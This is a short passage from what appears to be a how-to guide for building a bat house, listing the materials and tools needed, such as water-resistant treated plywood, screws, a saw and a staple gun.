CO2 they release can make a bat house unlivable very quickly. These are the primary tools you will need:   A pole (optional) on which you will mount the house when completed. Lumber, including 3⁄4 in (1.9 cm) plywood and that has been treated to make it water resistant. Screws (several sizes). Screwdriver. Saw. Staple gun.